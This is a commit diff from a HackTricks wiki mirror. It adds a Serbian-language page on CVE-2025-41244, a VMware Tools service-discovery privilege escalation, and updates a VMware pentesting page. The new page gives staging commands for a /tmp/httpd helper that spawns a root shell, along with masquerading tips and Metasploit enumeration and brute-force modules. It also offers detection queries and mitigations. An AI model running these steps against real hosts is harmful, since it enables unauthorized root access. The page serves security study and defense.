mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/vmware-tools-servi
This commit is contained in:
parent
d0764acfc4
commit
50762a0ac5
@ -110,6 +110,7 @@
|
|||||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||||
|
- [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md)
|
||||||
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||||
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
||||||
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,146 @@
|
|||||||
|
# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Ova tehnika zloupotrebljava pipeline-ove service discovery zasnovane na regex-u koji parsiraju command line pokrenutih procesa kako bi utvrdili verzije servisa i zatim izvršili kandidat binarni fajl sa opcijom "version". Kada previše permisivni regularni izrazi prihvataju nepouzdane, od napadača kontrolisane putanje (npr. /tmp/httpd), privilegovani collector izvršava proizvoljan binarni fajl iz nepouzdane lokacije, što dovodi do lokalnog eskaliranja privilegija. NVISO je ovo dokumentovao u VMware Tools/Aria Operations Service Discovery kao CVE-2025-41244.
|
||||||
|
|
||||||
|
- Impact: Lokalno eskaliranje privilegija do root-a (ili do privilegovanog discovery naloga)
|
||||||
|
- Root cause: Untrusted Search Path (CWE-426) + previše permisivno regex podudaranje command line-ova procesa
|
||||||
|
- Affected: open-vm-tools/VMware Tools on Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||||
|
|
||||||
|
## How VMware service discovery works (high level)
|
||||||
|
|
||||||
|
- Credential-based (legacy): Aria izvršava discovery skripte unutar guest-a putem VMware Tools koristeći konfigurisane privilegovane kredencijale.
|
||||||
|
- Credential-less (modern): Discovery logika se izvršava unutar VMware Tools, već privilegovana u guest-u.
|
||||||
|
|
||||||
|
Oba moda na kraju pokreću shell logiku koja skenira procese sa slušačkim socket-ima, izvlači odgovarajući command path pomoću regex-a, i izvršava prvi argv token sa zastavicom za verziju.
|
||||||
|
|
||||||
|
## Root cause and vulnerable pattern (open-vm-tools)
|
||||||
|
|
||||||
|
U open-vm-tools, serviceDiscovery plugin skripta get-versions.sh podudara kandidat binarne fajlove koristeći široke regularne izraze i izvršava prvi token bez bilo kakve validacije poverene putanje:
|
||||||
|
```bash
|
||||||
|
get_version() {
|
||||||
|
PATTERN=$1
|
||||||
|
VERSION_OPTION=$2
|
||||||
|
for p in $space_separated_pids
|
||||||
|
do
|
||||||
|
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
|
||||||
|
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
|
||||||
|
done
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Poziva se sa permisivnim obrascima koji sadrže \S (ne-razmak) koji će rado poklapati nesistemske putanje u lokacijama u koje korisnik može pisati:
|
||||||
|
```bash
|
||||||
|
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
||||||
|
get_version "/usr/(bin|sbin)/apache\S*" -v
|
||||||
|
get_version "/\S+/mysqld($|\s)" -V
|
||||||
|
get_version "\.?/\S*nginx($|\s)" -v
|
||||||
|
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
||||||
|
get_version "/\S+/dataserver($|\s)" -v
|
||||||
|
```
|
||||||
|
- Ekstrakcija koristi grep -Eo i uzima prvi token: ${COMMAND%%[[:space:]]*}
|
||||||
|
- Nema whitelist/allowlist pouzdanih sistemskih putanja; svaki otkriven listener sa podudarajućim imenom se izvršava sa -v/--version
|
||||||
|
|
||||||
|
Ovo stvara untrusted search path execution primitive: proizvoljni binarni fajlovi smešteni u direktorijumima sa dozvolom za pisanje za sve (npr. /tmp/httpd) biće izvršeni od strane privilegovane komponente.
|
||||||
|
|
||||||
|
## Eksploatacija (i bez kredencijala i sa kredencijalima)
|
||||||
|
|
||||||
|
Preduslovi
|
||||||
|
- Možete pokrenuti neprivilegovan proces koji otvara listening socket na guestu.
|
||||||
|
- discovery job je omogućen i izvršava se periodično (istorijski ~5 minuta).
|
||||||
|
|
||||||
|
Koraci
|
||||||
|
1) Postavite binarni fajl na putanju koja odgovara jednom od permisivnih regex-ova, npr. /tmp/httpd ili ./nginx
|
||||||
|
2) Pokrenite ga kao korisnik sa niskim privilegijama i obezbedite da otvori bilo koji listening socket
|
||||||
|
3) Sačekajte ciklus discovery; privilegovani collector će automatski izvršiti: /tmp/httpd -v (ili slično), pokrećući vaš program kao root
|
||||||
|
|
||||||
|
Minimalni demo (koristeći NVISO-ov pristup)
|
||||||
|
```bash
|
||||||
|
# Build any small helper that:
|
||||||
|
# - default mode: opens a dummy TCP listener
|
||||||
|
# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
|
||||||
|
# Example staging and trigger
|
||||||
|
cp your_helper /tmp/httpd
|
||||||
|
chmod +x /tmp/httpd
|
||||||
|
/tmp/httpd # run as low-priv user and wait for the cycle
|
||||||
|
# After the next cycle, expect a root shell or your privileged action
|
||||||
|
```
|
||||||
|
Tipičan lanac procesa
|
||||||
|
- Credential-based: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||||
|
- Credential-less: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||||
|
|
||||||
|
Artefakti (credential-based)
|
||||||
|
Pronađene SDMP wrapper skripte pod /tmp/VMware-SDMP-Scripts-{UUID}/ mogu pokazati direktno izvršavanje zlonamernog puta:
|
||||||
|
```bash
|
||||||
|
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
||||||
|
```
|
||||||
|
## Generalizacija tehnike: zloupotreba otkrivanja vođena regex-om (prenosivi obrazac)
|
||||||
|
|
||||||
|
Mnogi agenti i nadzorni paketi implementiraju otkrivanje verzija/servisa tako što:
|
||||||
|
- Enumerišu procese sa slušačkim socket-ima
|
||||||
|
- Pretražuju argv/komandne linije pomoću permisivnih regexes (npr., obrasci koji sadrže \S)
|
||||||
|
- Izvršavaju poklapanu putanju sa benignim flagom kao što su -v, --version, -V, -h
|
||||||
|
|
||||||
|
Ako regex prihvata nepouzdane putanje i putanja se izvršava iz privilegovanog konteksta, dobijate CWE-426 Untrusted Search Path execution.
|
||||||
|
|
||||||
|
Recept za zloporabu
|
||||||
|
- Imenovati svoj binarni fajl kao uobičajene daemone koje će regex verovatno poklopiti: httpd, nginx, mysqld, dataserver
|
||||||
|
- Postaviti ga u direktorijum koji je upisiv: /tmp/httpd, ./nginx
|
||||||
|
- Osigurati da se poklapa sa regex-om i otvori bilo koji port da bi bio enumerisan
|
||||||
|
- Sačekati zakazani collector; dobićete automatsko privilegovano pozivanje <path> -v
|
||||||
|
|
||||||
|
Napomena o maskiranju: Ovo je u skladu sa MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) za povećanje verovatnoće poklapanja i prikrivenost.
|
||||||
|
|
||||||
|
Trik za višekratno korišćenje: privilegovani I/O relej
|
||||||
|
- Izgradite helper tako da pri privilegovanom pozivu (-v/--version) poveže se na poznati rendezvous (npr., Linux abstract UNIX socket kao @cve) i premošćuje stdio na /bin/sh -i. Ovo izbegava artefakte na disku i radi u mnogim okruženjima gde se isti binarni fajl ponovo poziva sa flagom.
|
||||||
|
|
||||||
|
## Otkrivanje i DFIR smernice
|
||||||
|
|
||||||
|
Upiti za pretragu
|
||||||
|
- Neobična deca vmtoolsd ili get-versions.sh kao što su /tmp/httpd, ./nginx, /tmp/mysqld
|
||||||
|
- Bilo koje izvršenje apsolutnih putanja koje nisu sistemske od strane skripti za otkrivanje (tražite razmake u ${COMMAND%%...} ekspanzijama)
|
||||||
|
- ps -ef --forest da vizualizujete stabla porekla: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||||
|
|
||||||
|
Na Aria SDMP (bazirano na kredencijalima)
|
||||||
|
- Inspektovati /tmp/VMware-SDMP-Scripts-{UUID}/ za tranzijentne skripte i stdout/stderr artefakte koji pokazuju izvršavanje napadačkih putanja
|
||||||
|
|
||||||
|
Politika/telemetrija
|
||||||
|
- Alertujte kada privilegovani collectors izvršavaju iz prefiksa koji nisu sistemski: ^/(tmp|home|var/tmp|dev/shm)/
|
||||||
|
- File integrity monitoring na get-versions.sh i VMware Tools plugins
|
||||||
|
|
||||||
|
## Mitigacije
|
||||||
|
|
||||||
|
- Patch: Primeni Broadcom/VMware update-ove za CVE-2025-41244 (Tools and Aria Operations SDMP)
|
||||||
|
- Onemogući ili ograniči otkrivanje bez kredencijala gde je moguće
|
||||||
|
- Validiraj poverene putanje: ograniči izvršenje na dozvoljene direktorijume (/usr/sbin, /usr/bin, /sbin, /bin) i samo tačno poznate binarne fajlove
|
||||||
|
- Izbegavaj permisivne regexes sa \S; preferiraj uvezane (anchored), eksplicitne apsolutne putanje i tačna imena komandi
|
||||||
|
- Smanji privilegije za discovery helpere gde je moguće; sandbox-uj (seccomp/AppArmor) da bi se umanjio uticaj
|
||||||
|
- Monitoriši i alarmiraj na vmtoolsd/get-versions.sh koji izvršavaju putanje van sistemskih lokacija
|
||||||
|
|
||||||
|
## Napomene za branioce i implementatore
|
||||||
|
|
||||||
|
Bezbedniji obrazac podudaranja i izvršavanja
|
||||||
|
```bash
|
||||||
|
# Bad: permissive regex and blind exec
|
||||||
|
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
||||||
|
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
|
||||||
|
|
||||||
|
# Good: strict allowlist + path checks
|
||||||
|
candidate=$(get_command_line "$pid" | awk '{print $1}')
|
||||||
|
case "$candidate" in
|
||||||
|
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
|
||||||
|
"$candidate" -v 2>&1 ;;
|
||||||
|
*)
|
||||||
|
: # ignore non-allowlisted paths
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
```
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||||
|
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||||
|
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
|
||||||
|
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
|
||||||
|
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,16 +1,26 @@
|
|||||||
|
# VMware ESX / vCenter Pentesting
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
# Enumeracija
|
## Enumeracija
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
||||||
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
||||||
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||||
```
|
```
|
||||||
# Bruteforce
|
## Bruteforce
|
||||||
```bash
|
```bash
|
||||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||||
```
|
```
|
||||||
Ako pronađete važeće akreditive, možete koristiti više metasploit skener modula za dobijanje informacija.
|
Ako pronađete važeće kredencijale, možete koristiti dodatne metasploit scanner modules za prikupljanje informacija.
|
||||||
|
|
||||||
|
### Vidi takođe
|
||||||
|
|
||||||
|
Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user